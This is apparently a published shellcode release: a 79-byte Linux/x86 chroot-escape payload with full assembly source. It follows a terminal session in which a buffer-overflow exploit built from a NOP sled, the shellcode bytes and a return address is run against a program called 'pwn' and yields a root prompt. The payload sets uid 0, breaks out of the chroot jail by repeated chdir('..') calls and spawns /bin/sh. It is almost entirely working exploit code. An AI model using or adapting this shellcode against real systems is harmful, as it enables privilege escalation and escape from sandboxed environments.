bt:/# ./pwn `perl -e 'print "x90"x189 . "xb0x17x31xdbxcdx80xb0x27x99x52x6ax2ex66x68x2ex2ex89xe3x66xb9xc0x01xcdx80xb0x3dx89xe3xcdx80x66x5ax31xc9x51x66x52xb1x64xb0x0cx89xe3xcdx80xe2xf8xb0x3dx31xc9x88x4cx24x01x89xe3xcdx80xb0x0bx31xc9x51x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x99xcdx80" . "xa9xf6xffxbf"'`
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
root@bt:/#


; linux/x86 break chroot 79 bytes
; root@thegibson
; 2009-12-30

section .text
	global _start

_start:
	; setuid(0);
	mov al, 23
	xor ebx, ebx
	int 0x80

	; mkdir("...", 0700);
	mov al, 39
	cdq
	push edx
	push byte 0x2e
	push word 0x2e2e
	mov ebx, esp
	mov cx, 0700o
	int 0x80

	; chroot("...");
	mov al, 61
	mov ebx, esp
	int 0x80

	; for (i = 100; i > 0; i--)
	; {
	; 	chdir("..");
	; }
	pop dx
	xor ecx, ecx
	push ecx
	push dx
	mov cl, 100
	up:
		mov al, 12
		mov ebx, esp
		int 0x80
	loop up

	; chroot(".");
	mov al, 61
	xor ecx, ecx
	mov [esp + 1], cl
	mov ebx, esp
	int 0x80

	; execve("//bin/sh", 0, 0);
	mov al, 11
	xor ecx, ecx
	push ecx
	push dword 0x68732f6e
	push dword 0x69622f2f
	mov ebx, esp
	cdq
	int 0x80